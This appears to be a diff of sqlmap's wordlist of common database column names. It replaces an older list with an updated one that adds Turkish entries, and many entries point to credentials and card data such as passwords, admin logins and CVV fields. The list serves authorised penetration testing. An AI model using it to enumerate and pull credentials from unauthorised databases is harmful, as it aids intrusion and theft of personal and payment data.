-cp_id -the_geom -model -o_id -personid -display_name -salesperson_id -dependent_name -license -tablename -employee_id -e_id -id_group -location -bb -languageid -int4 -msg_id -department -book_id -ingredientid -action_type_id -maker -app -id_customer -this -entry_id -county_id -protocol_type_id -empnbr -unit_number -bar -studentid -dbid -title_id -cname -emp_num -owner -course_name -editionnumber -sessionid -mealid -com_id -text -chip_layout_id -watchlistid -qty -data_set_type_id -orderid -module_id -c1 -dlocation -domainid -course_no -mgrssn -id_log -access_control_type_id -account_id -checking -protocol_id -request_id -settingsid -lname -sale_date -module_addr - -# spanish -usuario -nombre -contrasena -consumidor -clave -tecla -llave -chaveta -tono -cuna - -# german -benutzername -benutzer -passwort -kennwort -parole -losungswort -losung -kennung -motto -stichwort -schlusselwort - -# french -utilisateur -usager -consommateur -nom -mot -passe -cle -touche -clef - -# italian -utente -nome -utilizzatore -parola -chiave -tasto -pulsante -chiavetta -cifrario - -# portuguese -usufrutuario -chave -cavilha - -# slavic -korisnik -sifra -lozinka -kljuc - -# List from schemafuzz.py (http://www.beenuarora.com/code/schemafuzz.py) -user -pass -cc_number -emri -fjalekalimi -pwd -customers_email_address -customers_password -user_password -user_pass -admin_user -admin_password -admin_pass -usern -user_n -users -login -logins -login_user -login_admin -login_username -user_username -user_login -auid -apwd -adminid -admin_id -adminuser -adminuserid -admin_userid -adminusername -admin_username -adminname -admin_name -usr -usr_n -usrname -usr_name -usrpass -usr_pass -usrnam -nc -myusername -mail -emni -logohu -punonjes -kpro_user -wp_users -emniplote -perdoruesi -perdorimi -punetoret -logini -llogaria -fjalekalimin -kodi -emer -ime -korisnici -user1 -administrator -administrator_name -mem_login -login_password -login_pass -login_passwd -login_pwd -psw -pass1word -pass_word -passw -pass_w -user_passwd -userpass -userpassword -userpwd -user_pwd -useradmin -user_admin -mypassword -passwrd -admin_pwd -admin_passwd -mem_password -memlogin -e_mail -usrn -u_name -uname -mempassword -mem_pass -mem_passwd -mem_pwd -p_word -pword -p_assword -myname -my_username -my_name -my_password -my_email -cvvnumber -about -access -accnt -accnts -account -admin -adminemail -adminlogin -adminmail -admins -aim -auth -authenticate -authentication -blog -cc_expires -cc_owner -cc_type -cfg -clientname -clientpassword -clientusername -config -contact -converge_pass_hash -converge_pass_salt -crack -customers -cvvnumber] -db_database_name -db_hostname -db_password -db_username -download -e-mail -emailaddress -full -group -hash -hashsalt -homepage -icq -icq_number -id_member -images -index -ip_address -last_ip -last_login -login_name -login_pw -loginkey -loginout -logo -md5hash -member -member_id -member_login_key -member_name -memberid -membername -members -new -news -nick -number -nummer -pass_hash -passwordsalt -personal_key -phone -privacy -pw -pwrd -salt -search -secretanswer -secretquestion -serial -session_member_id -session_member_login_key -sesskey -spacer -status -store -store1 -store2 -store3 -store4 -table_prefix -temp_pass -temp_password -temppass -temppasword -un -user_email -user_icq -user_ip -user_level -user_passw -user_pw -user_pword -user_pwrd -user_un -user_uname -user_usernm -user_usernun -user_usrnm -userip -userlogin -usernm -userpw -usr2 -usrnm -usrs -warez -xar_name -xar_pass - -# List from http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html -account -accnts -accnt -user_id -members -usrs -usr2 -accounts -admin -admins -adminlogin -auth -authenticate -authentication -account -access -customers -customer -config -conf -cfg -hash -login -logout -loginout -log -member -memberid -password -pass_hash -pass -passwd -passw -pword -pwrd -pwd -store -store1 -store2 -store3 -store4 -setting -username -name -user -user_name -user_username -uname -user_uname -usern -user_usern -un -user_un -usrnm -user_usrnm -usr -usernm -user_usernm -user_nm -user_password -userpass -user_pass -user_pword -user_passw -user_pwrd -user_pwd -user_passwd - -# List from hyrax (http://sla.ckers.org/forum/read.php?16,36047) -fld_id -fld_username -fld_password -loginname -pasword -permission -perm -user_group -tendn -tendangnhap -tenquantri -tenquanly -tennguoidung -ten -tennd -nguoidung -nguoidungid -quantri -quanly -u_id -accountname -account_name -matkhau -matma -paswd -pas -tukhoa -login_pas -loginpassword -loginpasswd -loginpass -loginpas -loginpwd -secret -secret_code -secretcode -administrators -adminpass -adminpassword -adminpaw -adminpwd -adminuid -upass -level -mima -sb_admin_name -sb_pwd -client -clients -ipaddress -files -family -admin_psw -administrateur -adminpsw -adminupass -adress -aide -articleid -content -dw -feed -feedback -glmm -isadmin -key -keywords -mpassword -msn -musername -newsid -numer -passer -pe_aduser -pe_user -power -pswd -pwd1 -qq -stocker -sysuser -telephone -texte -userpasswd -usr_nusr -usr_pw -website -wind -compte -comptes -objectif -authentifier -authentification -fissure -adressee-mail -complet -groupe -hachage -connexion -membre -membres -mm -p -u -mot_de_passe_bdd -mon_mot_de_passe -monmotdepasse -ignatiusj -caroline-du-nord -nouveau -sel -recherche -utilisateurs -o -konto -rachunki -administratorzy -pomoc -cel -uwierzytelnienia -uwierzytelnianie -kontakt -klient -danych -adres_e-mailowy -grupy -obrazy -spis -dostawcy -nazwisko -zaloguj -nowy -telefon -seryjny -ustawienie -kod -stan -sklep1 -sklep2 -tekst -zytk -konta -rysa -adrese-mail -ecolo -tat -yh -yhm -yhmm -yonghu - -# site:br -content_id -codigo -geometry -published -section_value -tidcliente -menuid -pollid -bid -moduleid -gab_pergunta -tipo -template -multilinestring -aal_aluno -ava_professor -adm_nivel -lec_codigo -per_codigo -lec_disciplina -gaip_codigo -acl_id -niv_codigo -quantidade -attribute_id -gaia_codigo -alu_matricula -nota -gab_codigo -field_id -ava_codigo -aal_codigo -message_id -avi_codigo -fre_disciplina -groups_id -nome_cliente -pc -lec_professor -idusuario -poll_id -dis_codigo -ava_disciplina -gap_codigo -avp_codigo -aai_codigo -fre_aluno -fre_codigo -adm_id -id_estado -aap_codigo -pro_matricula -gp -xlancamento -municipioprestador -product_price_id -country_2_code -shopper_group_id -manufacturer_id -com_natur -review_id -xtipo_de_acao -bookmark_id -xequipe_padrao -faixas_id -xcliente -deducoes_id -xcategoria -xencerramento -idx_item -xcadastro -quantitens -additional_htmlblob_users_id -ipi -xfase_de_vencimento -permission_id -xdecisao -i_end -xforo -order_item_id -mo -grafica_id -news_id -enderecos_id -desccompensa -desconto -creditcard_id -card_id -cardid -idcard -creditcard -cardnumber -cardno -itens_id -senha -order_status_id -id_seq -municipio_id -additional_users_id -order_status_history_id -function_id -controladas_id -ator_id -shipping_rate_id -htmlblob_id -css_id -xfase -fieldvalueid -main -correcaostrategy_id -fonte -xmetodo_atualizacao -desd_xdecisao -jurosstrategy_id -fielddef_id -especie_id -idcategoria -xgrupo -indice_id -xprocedimento -xcustom1 -autor_id -newssummarycategory -icmsinterno -nonnavigable -domicilio_id -notafiscal_id -userplugin_id -shipping_carrier_id -municipiotomador -natureza -solicitante_id -mbpp -xcustom2 -template_id -chave_primaria -desd_xforo -payment_method_id -nome_agencia -pessoa_id -uprdescricao -export_id -logo_id -prazo_xevento -tomador_id -serie_id -tidclasfiscais -atividades_id -logradouro_id -xadvogado -xequipe -handler_id -xobjeto -multipolygon -tipo_id -xproprietario -state_id -mopc -valorcontabil -xprocesso -coupon_id -currency_id -parameter_name -contribuinte_id -xcubo -country_id -id_fatura -serienfe_id -tax_rate_id -waiting_list_id -download_id -emissao -screen -xcustom3 -mbpc -documento_id -xcustom4 -fieldid -point -xsituacao -icmssp -tidproduto -pp -empresa_id -i_tel -contador_id -telefones_id -estado_id -xevento -site -order_currency -xprocesso_apensado -multastrategy_id -saida -grupo_id -guid_sessao -indice -xjurisdicao -news_category_id -mf_category_id -product_type_id -xusuario -vendor_id -sitepref_name -desd_xjurisdicao -option_id -xrelatorio -codusuario -id_cidade -user_info_id -desd_xfase -situacao -file_id -zone_id -id_servico -situacao_id -tidfornecedor -valor2 -valor3 -valor4 -valor5 -origem -few -idxatv -mopp -prestador_id -xprognostico -xclasse -log_id -xadverso -guid_email -guiaavulsa_id -pl -vendor_category_id -venc3 -venc2 -totpc -venc5 -venc4 -xserie -order_info_id -an -totpp -totpv -imagen_id -esquema -atividade_id -xgarantia -discount_id -xnatureza -group_perm_id -category_child_id -newssummaryauthor -and_xevento - -# site:de -rolle_nr -standort_nr -ja -persnr -vorname -width -titel -filename -post_id -swidth -height -vorgaenger -matrnr -kursnr -notification_type -sheight -style_id -startnummer -bezeichnung -basename -kat_id -whabfragen -struct_id -havabfragen -abfrsql -vorlnr -ban_id -forum_id -rank_id -nr -k_id -nachname -ort -key_id -groesse -datum -image_id -entry -speise_id -word_id -absatz_id -class_id -mail_id -zid -ticket_id -queue_id -pid1 -pid2 -currval -forum -organizationid -institute_id -history_id -my -how -after -meetingid -mitarbeiterid -idgruppe -re -artikel_id -top -perid -pers_nr -idstelle -messageid -acctid -address_book_id -article_id -com -kid -rule_id -kosten -plz -confirm_id -race_id -vis_id -descr -seitelayout_id -vote_id -g_id -activated -show -guy -vtyp_id -timeofmove -views -meta_id -blz -bookid -teilnehmernr -weaponid -region_id -resultid -calendar -address_id -pos -d_id -serverid -cd -answer_id -categories_id -start -site_id -price_id -az -mnr -cis_id -config_key -address_format_id -tn -tax_id -mountname -standard -schweiz -partner_id -idkontakt -eventid -oldstate -topicid -sonst -pk -mountcategory -von -orders_recalculate_id -block_id -knr -msgid -ortnr -seiteabs_id -id1 -um -paperid -send -wid -gi -lieferant -orgid -profile -zugang -allow -unique_id -taskid -configuration_id -jcode -ex_id -blog_id -who -section_id -mindk -beschreibung -schl -you -object_link_a_id -disallow_id -strasse -option_name -q_trid -summary_id -gameid - -# site:es -catid -dni -prune_id -anid -linkid -qid -word_text -id_cat -eid -privmsgs_text_id -downloadid -hid -themes_id -privmsgs_id -codi -requestid -ratingdbid -edad -secid -sitename -artid -gallid -main_module -contactid -aro_id -replace -total -root -prodid -id_paciente -mosloadposition -de -mossef -ordid -stdprice -advanced -super -editor -rol -editors -mosvote -agent -en -searchbot -cod_aplicacion -manager -geshi -author -coste -mos -menutype -session_ip -publisher -texto -actor_id -mosemailcloak -none -id_tra -sistema -help -custid -value_id -nompuerto -legacybots -id_enfermedad -tinymce -nivel -locale -load -format -registered -moscode -results -search_term -mosimage -sin -mospaging -que -sef -dorsal -coste_total -legacy -btn -repid -parent_id -time_stamp -bannerid - -# site:fr -numero -id_auteur -titre -lang -tag -id_forum -id_groupe -id_article -alliance1 -alliance2 -id_message -num -fichier -id_user -id_syndic -dico -id_rubrique -id_document -id_breve -id_signature -id_type -ide -id_syndic_article -id_mot -n_agence -ville -codepostal -sess_id -num1 -constraint_name -n_type -theme_id -image -referer_md5 -id_fragment -new_id -version_min -liste -id_version -prix -terms_body -prenom -nid -n_client -n_compte -apid -n_dept -n_dir -age - -# site:ru -dt_id -subdivision_id -sub_class_id -comments -cmtid -tags -checkbox -ct_id -part -lastupdated -customsettings -catalogue_id -relationmessage -englishname -ba_num_reads -at_id -bs_setting -am_id -t2 -t1 -message -blogcommentsaccess_id -sub_class -grfilt -tempprovkredit -ostdate -koef -bms_cat_id -bd_id -field2 -field3 -dd -kredit -callend -gcode -blogcommentsaccess -sender -udal -bcf_id -bfs_id -schet -grcode -blogcommentssub -blogpermissiongroup_id -us_id -bv_id -bvo_id -rusname -gbid -kontr600 -realiz_opt -bs_bid -bb_id -bf_id -wuser -v_id -sklad -sd -object_sub_class_id -callstart -myexec -relationsub -id_photo -bfl_id -bml_id -blogmessagesaccess -bn_id -bsu_id -id_links -bo_id -dates -kontr620 -pom -object_parent_id -ostatki -tovar -oid -bsm_id -mn_id -pcode -id_poll_ip -groupcodes -codeid -fot_id -spell_id -typenamekeeper -bt_id -odate -bdate -bs_id -id_paragraph -t4 -t3 -nt_id -id_contact -korschet -data_in -id_msg -bc_plugin -summaprihod -boe_c_id -bct_id -grkntr -btt_id -string -tl_id -subdivision_name -bc_id -bfp_id -bcfs_id -vcode -id_refferer -ssschet -sessid -im_id -id_poll -ba_num_voted -kontr60 -id_ip -kre1 -ord_id -kc -bbt_id -bst_id -bftt_id -blogpermissiongroup -it_id -chost -bo_order_number -ba_id -object_sub_id -hidden_url -bms_id -pnds -pt_id -realiz -id_catalog -wdate -bff_id -matcode -bur_cat_id -bsl_id -blogmessagesaccess_id -bcena -ostatkii -ost1 -bvr_id -prih -bu_id -bp_id -isview -id_artpage -tb_id -bst_time -ba_order_num -username1 -id_answer -rt_id -bot_id -korschetfilter -st_id -summachp -vt_id -data_out -journals -enumtypid -scriptname -result -bsur_id -keyname -handle -ba_date -blogcommentscc -lg_id -bft_id -ft_id -toorg -debet -orgcode -partstring -id_product -bte_id -pu_id -mt_id -edate -community -bpe_id -grtov -id_page -boe_id -sut_id -task_id -object -can -voteid -operation_id -city_id -list -page_id -banner_id -error -language_id -val - -# site:jp -dealer_id -modify_date -regist_date -comment -payment_method -service_name -file1 -rel_id -sub_large_image3 -sub_image6 -sub_image4 -sub_image5 -sub_image3 -sub_image1 -fix -companyid -formid -charge -page_name -deliv_fee -category_name -stock_unlimited -sale_limit -nam -target_id -tempid -point_rate -payment_image -confirm_url -dt -document_id -productid -ken_kanji -attname -parent_category_id -module_name -main_list_image -create_date -conkey -product_code -price01 -price02 -classcategory_id1 -seminer_id -classcategory_id2 -newrow -update_date -classcategory_id -yeartag -job -relname -comm -main_large_image -sub_image2 -deliv_id -idx -comment5 -bloc_row -ndc -comment6 -comment1 -comment3 -comment2 -creator_id -bloc_name -equip_id -recommend_product_id -file3 -file2 -jiscode -file6 -file5 -file4 -news_date -rank -sub_title5 -sub_title4 -sub_title6 -sub_title1 -sub_title3 -sub_title2 -txt -loc -fee -committee_id -module_code -pref -disp_name -pref_id -deliv_date_id -relid -upper_rule -main_image -umeta_id -template_code -edit_flg -comment4 -kiyaku_title -hiredate -csv_id -sal -attrelid -deptname -main_comment -sub_large_image4 -sub_large_image5 -sub_large_image6 -php_dir -sub_large_image1 -sub_large_image2 -bloc_id -test -tpl_dir -del_flg -stock -sale_unlimited -sub_comment4 -sub_comment5 -sub_comment6 -manuscriptid -sub_comment1 -sub_comment2 -sub_comment3 -main_list_comment -mgr -product_flag -rule -c_commu_topic_id -c_diary_comment_log_id - -# site:it -idcomune -idruolo -idtrattamento -idpaziente -matricola -idpersonale -idasl -idanagrafica -idciclo -iddocumento -idservizio -idricovero -idclinica -idcamera -idtipociclo -idsistemazione -idtiporicovero -idtiposervizio -idsesso -idpagamento -idtipodimissione -idletto -iddescrizionedocumento -codice -cognome -idtipodocumento -idstatocivile -idtipologiaservizio -idtipotrattamento -idmedicofamiglia -idregistro -idreparto -iddistretto -idprovenienza -telefono -eta -figlio -reddito -denominazione -anno -idbocca -idcartellaclinica -idsistnerv -idappargenit -idtipotrasferimento -dataricovero -idcuore -cap -descrizione -idocchi -sede -idricoverohatipologia -noteaccettazione -dal -datadimissione -idorecchie -idcorpo -id_provincia -idtipologiaricovero -id_regione -idapparlocom -idcomuneresidenza -created_at -datanascita -corso -idanamnesifamil -idesameobiettivo -idcapo -idsmaglog -sesso -impiegato -luogonascita -idcute -idcollo -idsistresp -dipsede -cellulare -idaddome -php -idnaso -cf -idstatogenerale -idtrasferimento -indirizzo -genitore -dipnome -updated_at -idlinfonodi -groupname -shop -c_name -plugin_googlemap2 -jfalternative -post_status -localita -prz_merce_fis -idgroupacl -comune -ana_codice -utenteid -mod_gtranslate -idlocation -rating_id -online_id -jfsections -idextra -categories -luogoid -nroordine -stat_name -gender -oggettistica -gru_userid -pv_id -parigi -direct -pm_id -idperiodo -idarticolo -what -can_codice -sub -id_nazione -client_name -acc_codice -mod_freeway_services -cleanurl -newyork -idcategory -active -box -prc_sconto1 -prc_sconto3 -prc_sconto4 -disma -iddiscipline -job_e_date -risultato -mod_arcadebtn -jfrouter -apply -unit -newcollection -customenu -prova -cod_utente_mod -helvetica -send_id -mf_desc -nroarticolo -mod_ninja_simple_icons -sessione -cdele -statoattivitaid -bracciali -zenzaro -cod_valuta -collane -tabella -newyorkenglish -grp_id -var_id -sot_proposta_e -virtuemart -enteid -rpad -auth_id -realname -attivitaid -readmore -freewaylogin -idconfig -pin -pins -csc -cvd -cvv -cvv2 -cvvc -ccv -ccid -qta_merce -charms -diritto -accessori -mod_signallogin -remember -mod_virtuemart_featureprod -padre -prc_sconto2 -enter -idgara -morfeoshow -lingua -piede -gtranslate -under_menu -id_disciplina -nomedip -before -mod_virtuemart_search -arial -job_id -config_item -add_date -jfdatabase -madre -idragsoc -idsubscriptiontickets -loadmodule -jumpmenu -idsocieta -category_img -portachiavi -mf_name -codicepaziente -mod_virtuemart_randomprod -ninja -pro_codice -mod_vm_cat_menu_specific -vinod -newsfeeds -id_palestra -mod_custom -css -debug -side -dipart -areainterventoid -mod_flashmod -tipologiaenteid -emailcloak -mod_freeway_events -id_logho -codicemedico -nuova -catarticles -dst -gru_codice -idutente -idutenti -job_title -schedaid -idmlattach -zonainterventoid -totfasciaeuroid -structure_id -att_codice -blogger -plan_table_output -pagenavigation -idplugin -vote -mod_freeway_subscriptions -idconn -cerca -system -langkey -app_gruppo_e -term_taxonomy_id -statement -params -oggetto -mod_cpmfetch -signallogin -id_passwd -codrappr -coddoc -statoavanzamid -nrsez -idmlgroup -rated_id -kwick -id_citta -prc_magg1 -prc_magg2 -flg_fiscale -banner_url -attribute_sku_id -mod_product_list -end_date_time -purchase_id -client_url -vm_manufacturer_category -pfs_id -veteran -mod_cd_login -menu_selezione -ruoloenteid -ele_codice -pl_id -payment -idmlmail -mod_virtuemart_currencies -freeway -annoid -cod_dep -area_id -prg_art -alias_area_id -sent -po_id -yoologin -sys_context -mod_enugene -idnotsentmails -mod_virtuemart_manufacturers -menu -cache -prg_movimento_riga -url_md5 -ldap -tvoti -villiam -full_news -yoocarousel -main2 -main3 -dat_utente_mod -user_alto -pff_id -smilie_id -mod_date -banner -pinsn -codice_comune -vm_payment_method -idclassificatore -idgroup -progetto -mod_freeway_shoppingcart -payment_extrainfo -cost_id -gmail -dat_movimento -mod_jt_slideshow -campo_bol -idcliente -prz_merce -hdesc -fp_id -jt -idfile -ji -mod_catarticles -mod_virtuemart_latestprod -mod_customenu -app_utente_e -prg_movimento -include_date -cod -flipper -naresh -cache_language_id -id_preventivo -config_owner -header -mootoolnicemenu -qualificareferenteid -modhome -id_annuncio -idtitolo -source -charmsn -swf -tutor -mod_yoo_carousel -portachiavin -idevent -mod_mainmenu -jfcontent -item_cd -tpref -id_news -mf_category_name -iddesign -moduledir -cod_clifor -fkidannofdr -mod_donimedia_select_box_menu_type1 -jfcontacts -jpg -client_desc -mod_freewaylogin -mod_translate -flscrvpre -grand -mf_category_desc -payment_method_name -extended -mod_vm_prod_cat_full -mod_freeway_admin -orecchini -nlista -jfcategories -mod_cssmenu -mod_lxmenu -mod_flipper_img_rotator -fkidanagrafica -id_comune -statement_id -idatleta -inactive -mod_sidebarmenuapplestyle -candidato -ref_url -testq -ind_clifor -xmlrpc -pingback_id -l_col_list -fs_id -press -mod_freeway_products -semo -bijoux -rakesh -modulo_contatti -google -vm_manufacturer -vot_proposta_e -brend -post_date -enugene -nrcandi -invoice -home -sot_utente_e -settoreid -weblinks -contacts -id2 -codcliente -news_title -job_s_date -sql_text -affiliate -backlink -core -id_attivita -index_num -etertre -manufacturer -cod_utente_cre -cod_art -ideventcategory -dat_utente_cre -cache_id -joomla -product_list -coupon -mod_sendcart -bijouxn -pagebreak -idsessione -arcade -mod_virtuemart_topten -banner_title -flg_prezzo_con_iva -partnerid -vot_utente_e -sections -xstandard -id_scheda -vm_category -mod_jumplink -exclude_date -ruoloid -contenuti -accessorin -coppermine -banlist_id -offerte -idticket -idsubscription -beneficiarioid -oggettistican -jfnewsfeeds -anelli -ship -imenu -na -nb -get_ddl -short_news -openid -titoloprogettoid -connection_id -mod_kwick_sliding_menu -matr -id_richiesta -idoggetto -lxmenu -text_id -user_basso -ver_codice -mayank -idgrouppermission -modules -client_img -does_repeat - -# site:cn -typeid -cronid -advid -admingid -payid -tagname -optionid -templateid -applyid -searchid -styleid -medalid -pluginvarid -fldfuntype -fldfunindex -displayorder -pluginid -fldfunopen -fldfunid -fldfunhref -fldfunmemo -fldfunname -mobile -invisible -polloptionid -cachename -tagid -pluginhookid -pmid -fldfuninfo -magicid -keyid -areaid -logid -folder -allno -vieworder -classid -topped -msg -topics -rankid -timeid -iconid -intro -corpid -replies -operation -announceid -nickname -goods_id -attachment -special -hk_name -stylevarid -posterid -curtopics -allowbanip -hide -allowdelpost -db_value -picurl -yahoo -adid -digest -n_id -hidden -olimg -lastpost -signature -lastposttime -doid -authstr -tabid -org_code -typename -allowstickthread -departmentid -allowmassprune -identify -old -avatar -allowedituser -forumname -descrip -blogid -allowmoduser -lastposterid -today -tempfidlist -feedid -courseid -olid -hk_value -xh -allowpostannounce -copy -splitstring -icon -fidlist -lastpostpmtime -article -former -projectid -avatarheight -html -alloweditpoll -downloads -channelid -allowbanuser -appid -allowcensorword -emailid -lastexecuted -decl_mail -lastupdatetime -billid -vid -lastposter -allowrefund -allowviewrealname -installed -lasttid -postcount -searchstring -reason -customstatus -titleid -newpms -verifycode -forumid -attention -readperm -skype -lastsearchtime -bio -lastpostid -idcard -postdatetime -question -poster -sightml -highlight -pageid -threadorder -todaycount -currentindex -avatarwidth -magic -allowmodpost -allowviewip -pro_id -iid -decrip -alloweditpost -mailid -lastforumposterid -accountid -tids -medals -fileid -postid -closed -lastactivity -newnotices -allowviewlog -expiration -layer -ishtml -command -brand_id -disablepostctrl -fieldname +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +# See the file 'LICENSE' for copying permission + +id +name +user_id +description +username +type +title +userid +group_id +first_name +itemid +category_id +firstname +code +pno +nextval +hostid +table_name +cid +email +smtp_helo +platformid +dept_id +album_id +key_ +the +child_cfg +jid +platform +expression +functionid +smtp_server +uid +clock +alarmid +alertid +private_key +actionid +triggerid +triggertemplateid +local_spi +delay +sid +mediaid +peer_cfg +smtp_email +order_id +shared_secret +itemtemplateid +certificate +insertid +role_id +song_id +item_id +product_id +blob_id +distip +artist_id +empno +customer_name +grade +branch_name +portal_id +deptno +data +rid +app_id +class +loan_number +countryid +enabled +fname +country +ename +object_id +idtype +groupid +rowid +accno +account_number +event +passwd +sequence_id +datarow +owner_id +display +pid +venue +locked +eno +serviceid +alias +categoryid +canoccupantsinvite +keyword +channel_id +loginrestrictedtonickname +registrationenabled +logenabled +ip +maxnumber +tag_id +alert_id +cananyonediscoverjid +address +sumdatarow +emp_id +ono +anyone +surname +subdomain +maxusers +ccc +datacol +os +status_id +node_id +essn +last_name +iteration +canchangenickname +canoccupantschangesubject +membersonly +created_by +succ_rate +dnumber +service_id +mid +publicroom +propvalue +empty_days +moderated +customer_id +wdatarow +persistent +authorid +patch_status_id +submitted_by +resolution_id +osvendor +routeid +arch +fid +assigned_to +ns +event_id +problem_code +city +note +channel +element_id +cat_id +position_id +schema_id +area +bug_category_id +session_id +project_id +random +nsprefix +archive_id +nsschema +view_id +pname +bug_group_id +lastname +link_id +langid +catname +bug_id +magic_string +m_id +zip +patch_category_id +custno +idcountry +stopid +identifier +category +isbn +group_project_id +extension_id +state +password +page +extension +spellid +dno +instanceof +network +priority +aname +person_id +ncbofile +student_number +term_id +uno +path_id +aid +location_id +propertyno +course_number +tid +langug_code +variable +dept_desc +orderno +ownerno +partof +clientno +white +macaddr +jobtypeid +direction +md5sum +orga_id +parentcategoryid +beginstateid +mname +qno +src +featurename +client_id +route_id +ticker +version +modulename +maty_id +currentstateid +userinfo_id +column_id +imageinfo_id +staffno +lid +metadatainfoid +context +app_title +dest +attributecategory_id +operation_type +dnum +pers_id_registerer +datasource +connectorid +our_loc +country_name +dname +capital +search_id +statechangeid +rightid +endstateid +distconnectorid +walnut +distmacaddr +pixsize +jobid +revid +match_cid +branchno +prepend_digits +stockno +ncbofileid +object_type +type_id +pubid +qagent +office +db_name +bank +dummy +storyname +col +petty +qname +store_id +inv_id +inventory +gift +cno +item +c_sec_id +row_id +price +loc_id +ssn +c_id +sname +parent +allowance +color +group_name +accounts +vendorid +gifi_accno +movie_id +rate +company +subid +commentpath +protocol_action_id +topic_id +s_id +config_id +long +link +copyright +vehicle +customerid +customer +f_id +chart_id +url +host +loans +charttype +imagefile +data_set_id +guest_ip +biosample_id +affiliation_id +os_id +street_id +book_code +object_name +start_date +form_id +itemno +provincial +confid +ratingid +drinker +qname_id +whatsdom +config_name +ship_id +investigator_id +smilies_id +cal_id +license_id +conf +contact_id +procedure_id +column_name +chromosome_id +tf_key +agent_specialtyid +users_id +gid +publisher_code +setting +format_id +word +slogan +superssn +product +referredby +operationid +ban_ip +p_id +lbl_aom_unaccessible_shipmethod +origin +comment_id +product_version +probe_id +orderdate +ordernumber +data_type_id +publisherid +lake_id +course_id +questionid +student_id +user_name +answerid +hashtag +preference_id +author_num +branch_num +derived_id +factoryid +filterid +log +pnumber +specialtyid +plugin_id +aa +file +dept_number +action_attribute_id +cpr +storeid +progenitor_id +staff_number +deptid +semester +poi_id +part_id +cell_line_id +transaction_id +agentid +regionid +token +serial_no +experimental_data_set_id +cp_id +the_geom +model +o_id +personid +display_name +salesperson_id +dependent_name +license +tablename +employee_id +e_id +id_group +location +bb +languageid +int4 +msg_id +department +book_id +ingredientid +action_type_id +maker +app +id_customer +this +entry_id +county_id +protocol_type_id +empnbr +unit_number +bar +studentid +dbid +title_id +cname +emp_num +owner +course_name +editionnumber +sessionid +mealid +com_id +text +chip_layout_id +watchlistid +qty +data_set_type_id +orderid +module_id +c1 +dlocation +domainid +course_no +mgrssn +id_log +access_control_type_id +account_id +checking +protocol_id +request_id +settingsid +lname +sale_date +module_addr +flag + +# spanish + +usuario +nombre +contrasena +consumidor +clave +tecla +llave +chaveta +tono +cuna +correo +contrasenia + +# german + +benutzername +benutzer +passwort +kennwort +parole +losungswort +losung +kennung +motto +stichwort +schlusselwort + +# french + +utilisateur +usager +consommateur +nom +mot +passe +cle +touche +clef + +# italian + +utente +nome +utilizzatore +parola +chiave +tasto +pulsante +chiavetta +cifrario + +# portuguese + +usufrutuario +chave +cavilha + +# slavic + +korisnik +sifra +lozinka +kljuc + +# turkish + +isim +ad +adi +soyisim +soyad +soyadi +kimlik +kimlikno +tckimlikno +tckimlik +yonetici +sil +silinmis +numara +sira +lokasyon +kullanici +kullanici_adi +sifre +giris +pasif +posta +adres +is_adres +ev_adres +is_adresi +ev_adresi +isadresi +isadres +evadresi +evadres +il +ilce +eposta +eposta_adres +epostaadres +eposta_adresi +epostaadresi +e-posta +e-posta_adres +e-postaadres +e-posta_adresi +e-postaadresi +e_posta +e_posta_adres +e_postaadres +e_posta_adresi +e_postaadresi +baglanti +gun +ay +yil +saat +tarih +guncelleme +guncellemetarih +guncelleme_tarih +guncellemetarihi +guncelleme_tarihi +yetki +cinsiyet +ulke +guncel +vergi +vergino +vergi_no +yas +dogum +dogumtarih +dogum_tarih +dogumtarihi +dogum_tarihi +telefon_is +telefon_ev +telefonis +telefonev +ev_telefonu +is_telefonu +ev_telefon +is_telefon +evtelefonu +istelefonu +evtelefon +istelefon +kontak +kontaklar + +# List from schemafuzz.py (http://www.beenuarora.com/code/schemafuzz.py) + +user +pass +cc_number +emri +fjalekalimi +pwd +customers_email_address +customers_password +user_password +user_pass +admin_user +admin_password +admin_pass +usern +user_n +users +login +logins +login_user +login_admin +login_username +user_username +user_login +auid +apwd +adminid +admin_id +adminuser +adminuserid +admin_userid +adminusername +admin_username +adminname +admin_name +usr +usr_n +usrname +usr_name +usrpass +usr_pass +usrnam +nc +myusername +mail +emni +logohu +punonjes +kpro_user +wp_users +emniplote +perdoruesi +perdorimi +punetoret +logini +llogaria +fjalekalimin +kodi +emer +ime +korisnici +user1 +administrator +administrator_name +mem_login +login_password +login_pass +login_passwd +login_pwd +psw +pass1word +pass_word +passw +pass_w +user_passwd +userpass +userpassword +userpwd +user_pwd +useradmin +user_admin +mypassword +passwrd +admin_pwd +admin_passwd +mem_password +memlogin +e_mail +usrn +u_name +uname +mempassword +mem_pass +mem_passwd +mem_pwd +p_word +pword +p_assword +myname +my_username +my_name +my_password +my_email +cvvnumber +about +access +accnt +accnts +account +admin +adminemail +adminlogin +adminmail +admins +aim +auth +authenticate +authentication +blog +cc_expires +cc_owner +cc_type +cfg +clientname +clientpassword +clientusername +config +contact +converge_pass_hash +converge_pass_salt +crack +customers +cvvnumber] +db_database_name +db_hostname +db_password +db_username +download +e-mail +emailaddress +full +group +hash +hashsalt +homepage +icq +icq_number +id_member +images +index +ip_address +last_ip +last_login +login_name +login_pw +loginkey +loginout +logo +md5hash +member +member_id +member_login_key +member_name +memberid +membername +members +new +news +nick +number +nummer +passhash +pass_hash +password_hash +passwordsalt +personal_key +phone +privacy +pw +pwrd +salt +search +secretanswer +secretquestion +serial +session_member_id +session_member_login_key +sesskey +spacer +status +store +store1 +store2 +store3 +store4 +table_prefix +temp_pass +temp_password +temppass +temppasword +un +user_email +user_icq +user_ip +user_level +user_passw +user_pw +user_pword +user_pwrd +user_un +user_uname +user_usernm +user_usernun +user_usrnm +userip +userlogin +usernm +userpw +usr2 +usrnm +usrs +warez +xar_name +xar_pass + +# List from http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html + +account +accnts +accnt +user_id +members +usrs +usr2 +accounts +admin +admins +adminlogin +auth +authenticate +authentication +account +access +customers +customer +config +conf +cfg +hash +login +logout +loginout +log +member +memberid +password +pass_hash +pass +passwd +passw +pword +pwrd +pwd +store +store1 +store2 +store3 +store4 +setting +username +name +user +user_name +user_username +uname +user_uname +usern +user_usern +un +user_un +usrnm +user_usrnm +usr +usernm +user_usernm +user_nm +user_password +userpass +user_pass +user_pword +user_passw +user_pwrd +user_pwd +user_passwd + +# List from hyrax (http://sla.ckers.org/forum/read.php?16,36047) + +fld_id +fld_username +fld_password +loginname +pasword +permission +perm +user_group +tendn +tendangnhap +tenquantri +tenquanly +tennguoidung +ten +tennd +nguoidung 